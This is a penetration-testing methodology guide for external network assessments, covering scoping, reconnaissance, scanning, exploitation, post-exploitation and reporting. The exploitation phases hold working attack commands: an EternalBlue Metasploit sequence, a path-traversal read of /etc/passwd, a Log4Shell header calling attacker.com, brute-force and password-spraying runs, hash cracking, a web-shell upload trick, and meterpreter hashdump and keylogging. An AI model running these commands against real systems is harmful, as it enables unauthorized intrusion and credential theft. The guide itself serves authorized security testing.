Performing External Network Penetration Test

Overview

An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.

When to Use

• When conducting security assessments that involve performing external network penetration test
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Written authorization (Rules of Engagement document signed by asset owner)
• Defined scope: IP ranges, domains, subdomains, and exclusions
• Testing environment: Kali Linux or Parrot OS with updated tools
• VPN/dedicated testing infrastructure to avoid IP blocks
• Coordination with SOC/NOC for timing windows

Phase 1 — Pre-Engagement and Scoping

Define Rules of Engagement

Scope:
  - Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
  - Domains: *.target.com, *.target.io
  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com
  - Testing window: Mon-Fri 22:00-06:00 UTC
  - Emergency contact: SOC Lead — +1-555-0100
  - Authorization ID: PENTEST-2025-EXT-042

Legal Documentation Checklist

Document	Status	Owner
Master Service Agreement (MSA)	Signed	Legal
Statement of Work (SOW)	Signed	PM
Rules of Engagement (RoE)	Signed	CISO
Get-Out-of-Jail Letter	Signed	CTO
NDA	Signed	Legal
Insurance Certificate	Verified	Risk

Phase 2 — Reconnaissance (Information Gathering)

Passive Reconnaissance

# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt

# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short

# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'

# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"

# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10

# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results

# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo

Active Reconnaissance

# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap

# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan

# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp

# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan

# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan

# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com

# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.com

Phase 3 — Vulnerability Analysis

Automated Scanning

# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
  --targets 203.0.113.0/24 \
  --policy "Advanced Network Scan"

# OpenVAS scan
gvm-cli socket --xml '<create_task>
  <name>External Pentest</name>
  <target id="target-uuid"/>
  <config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'

# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
  -severity critical,high -o nuclei_results.txt

# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm

# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  --depth 3 -o ferox_results.txt

Manual Vulnerability Validation

# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2

# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
  ssh://203.0.113.10 -t 4

# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode

# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24

# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25

Phase 4 — Exploitation

Network Service Exploitation

# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit

# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com

# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api

Web Application Exploitation

# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5

# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav

# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch

# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpeg

Password Attacks

# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4

# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa

# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Phase 5 — Post-Exploitation

# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester

# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt

# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt

# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24

# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_start

Phase 6 — Reporting

Finding Classification (CVSS v3.1)

Severity	CVSS Range	Count	Example
Critical	9.0-10.0	2	RCE via unpatched Exchange (ProxyShell)
High	7.0-8.9	5	SQL Injection in customer portal
Medium	4.0-6.9	8	Missing security headers, TLS 1.0
Low	0.1-3.9	12	Information disclosure via server banners
Info	0.0	6	Open ports documentation

Report Structure

1. Executive Summary
   - Scope and objectives
   - Key findings summary
   - Risk rating overview
   - Strategic recommendations

2. Technical Findings
   For each finding:
   - Title and CVSS score
   - Affected asset(s)
   - Description and impact
   - Steps to reproduce (with screenshots)
   - Evidence/proof of exploitation
   - Remediation recommendation
   - References (CVE, CWE)

3. Methodology
   - Tools used
   - Testing timeline
   - Frameworks followed (PTES, OWASP)

4. Appendices
   - Full scan results
   - Network diagrams
   - Raw tool output

Remediation Priority Matrix

Priority	Timeline	Action
P1 — Critical	24-48 hours	Patch RCE vulnerabilities, disable exposed admin panels
P2 — High	1-2 weeks	Fix injection flaws, implement MFA
P3 — Medium	30 days	Harden TLS configs, add security headers
P4 — Low	60-90 days	Remove version banners, update documentation

Tools Reference

Tool	Purpose	License
Nmap	Port scanning and service enumeration	GPLv2
Metasploit	Exploitation framework	BSD
Burp Suite Pro	Web application testing	Commercial
Nuclei	Vulnerability scanning	MIT
Subfinder	Subdomain enumeration	MIT
SQLMap	SQL injection testing	GPLv2
Nessus	Vulnerability scanner	Commercial
Gobuster	Directory brute-forcing	Apache 2.0
Hashcat	Password cracking	MIT
theHarvester	OSINT email/domain harvesting	GPLv2

References

• PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
• OWASP Testing Guide v4.2: https://owasp.org/www-project-web-security-testing-guide/
• NIST SP 800-115: Technical Guide to Information Security Testing: https://csrc.nist.gov/publications/detail/sp/800-115/final
• OSSTMM v3: https://www.isecom.org/OSSTMM.3.pdf
• MITRE ATT&CK: https://attack.mitre.org/